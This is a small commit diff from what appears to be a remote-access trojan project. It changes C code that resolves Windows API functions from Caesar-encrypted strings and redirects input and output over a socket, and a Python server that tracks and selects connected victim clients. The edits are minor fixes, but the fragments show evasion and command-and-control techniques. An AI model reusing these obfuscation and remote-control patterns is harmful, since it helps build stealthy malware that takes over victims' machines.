update
This commit is contained in:
@@ -32,7 +32,7 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
Api.Sleep(50);
|
Sleep_(50);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -179,7 +179,7 @@ retry:
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
//Receive a reply from the server
|
//Receive a reply from the server
|
||||||
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0)
|
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) //access violation
|
||||||
{
|
{
|
||||||
//recv failed
|
//recv failed
|
||||||
Sleep_(Sleep_TIME);
|
Sleep_(Sleep_TIME);
|
||||||
|
|||||||
@@ -45,6 +45,7 @@ void InitApis() {
|
|||||||
if (!hMsvcrt) {
|
if (!hMsvcrt) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
|
Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
|
||||||
Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
|
Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
|
||||||
Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
|
Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));
|
||||||
|
|||||||
@@ -54,16 +54,19 @@ def on_new_client() -> None :
|
|||||||
|
|
||||||
def on_close_socket() -> None:
|
def on_close_socket() -> None:
|
||||||
global CONNECT_CLIENTS
|
global CONNECT_CLIENTS
|
||||||
|
global SELECTED_CLIENT
|
||||||
while True :
|
while True :
|
||||||
for s in CONNECT_CLIENTS :
|
for s in CONNECT_CLIENTS :
|
||||||
try:
|
try:
|
||||||
# this will try to read bytes without blocking and also without removing them from buffer (peek only)
|
# this will try to read bytes without blocking and also without removing them from buffer (peek only)
|
||||||
data = s.recv(16, socket.MSG_PEEK)
|
data = s.recv(16, socket.MSG_PEEK)
|
||||||
if len(data) == 0:
|
if len(data) == 0:
|
||||||
|
if CONNECT_CLIENTS.index(s) == SELECTED_CLIENT : SELECTED_CLIENT = -1
|
||||||
CONNECT_CLIENTS.remove(s)
|
CONNECT_CLIENTS.remove(s)
|
||||||
except BlockingIOError:
|
except BlockingIOError:
|
||||||
pass # socket is open and reading from it would block
|
pass # socket is open and reading from it would block
|
||||||
except ConnectionResetError:
|
except ConnectionResetError:
|
||||||
|
if CONNECT_CLIENTS.index(s) == SELECTED_CLIENT : SELECTED_CLIENT = -1
|
||||||
CONNECT_CLIENTS.remove(s) # socket was closed for some other reason
|
CONNECT_CLIENTS.remove(s) # socket was closed for some other reason
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
pass
|
pass
|
||||||
|
|||||||
Reference in New Issue
Block a user